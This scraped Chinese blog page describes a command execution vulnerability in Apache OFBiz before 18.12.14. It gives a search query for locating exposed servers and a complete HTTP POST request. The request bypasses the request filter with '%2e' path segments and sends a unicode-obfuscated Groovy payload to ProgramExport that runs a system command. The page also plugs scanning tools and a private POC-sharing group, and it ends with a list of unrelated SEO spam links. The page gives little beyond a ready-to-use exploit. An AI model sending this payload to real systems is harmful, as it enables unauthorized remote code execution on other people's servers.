当前位置: 首页 > news >正文

房产网站做那个比较好竞价推广的企业

房产网站做那个比较好,竞价推广的企业,汕头seo代理商,洪梅做网站0x01 产品简介 Apache OFBiz是一个电子商务平台,用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。是美国阿帕奇(Apache)基金会的一套企业资源计划(ERP)系统。该系统提供了一整套基于Java的Web应用程序组件和工具。 0x02 …

0x01 产品简介

Apache OFBiz是一个电子商务平台,用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。是美国阿帕奇(Apache)基金会的一套企业资源计划(ERP)系统。该系统提供了一整套基于Java的Web应用程序组件和工具。

0x02 漏洞概述

Apache OFBiz 18.12.14之前版本存在命令执行漏洞,该漏洞源于org.apache.otbiz.webapp.control.ControlFiter类对路径(请求URL中的特殊字符(如;、%2e)限制不当导致攻击者能够绕过后台功能点的过滤器验证,并通过webtools/control/ProgramExpor接囗的编程导出功能执行任意Groovy代码获取系统权限。

0x03 搜索语法

app="Apache_OFBiz"

在这里插入图片描述

0x04 漏洞复现

POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
Host: your-ip
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Content-Type: application/x-www-form-urlencodedgroovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

在这里插入图片描述

0x05 工具批量

nuclei

在这里插入图片描述

afrog

在这里插入图片描述

xray

在这里插入图片描述

POC脚本获取

请使用VX扫一扫加入内部POC脚本分享圈子
在这里插入图片描述

http://www.15wanjia.com/news/18280.html

相关文章:

  • 电子商务网站的重要性做推广的软件有哪些
  • 拉萨做网站公司免费网络项目资源网
  • 用boots做网站成人专业技能培训机构
  • 亚马逊品牌网站要怎么做百度软件中心
  • 网站建设会遇到哪些难题it培训班学出来有用吗
  • 猪八戒网站做推广怎么样seo专员工作内容
  • 网站设计开发建设公司百度指数指的是什么
  • 用凡科帮别人做网站兰州网络优化seo
  • 个人做医疗类网站违法?快速网站排名优化
  • 苏州网站建设建站网18种最有效推广的方式
  • 保定建网站公司百度搜索竞价推广
  • 深圳个人网站设计营销思路八大要点
  • 长春网站建设找新生科技网站制作定制
  • 自己搭服务器 做购物网站成本安卓手机优化软件排名
  • 网站维护的具体问题网站服务公司
  • 烟台网站推广效果好临沂seo整站优化厂家
  • 旅游做攻略的网站有哪些百度爱采购推广效果怎么样?
  • 亚洲b2b网站百度文库账号登录入口
  • 网站建设实验后体会网站制作大概多少钱
  • 广州海珠网站开发方案域名备案查询
  • 福州网站开发系列购买域名后如何建立网站
  • 绵阳网站推广优化佛山seo网站排名
  • wordpress缩略图清除seo一个月工资一般多少
  • 公司网站域名管理安徽百度推广怎么做
  • 哪些网站上可以做seo推广的自媒体平台app
  • 特色的佛山网站建设磁力天堂最新版地址
  • 丁香园做科室网站高州网站seo
  • 在日本网站做推广渠道北京seo优化分析
  • 注册中文域名费用一般多少钱成都网站优化公司
  • 完善网站建设的目的是西安网站优化培训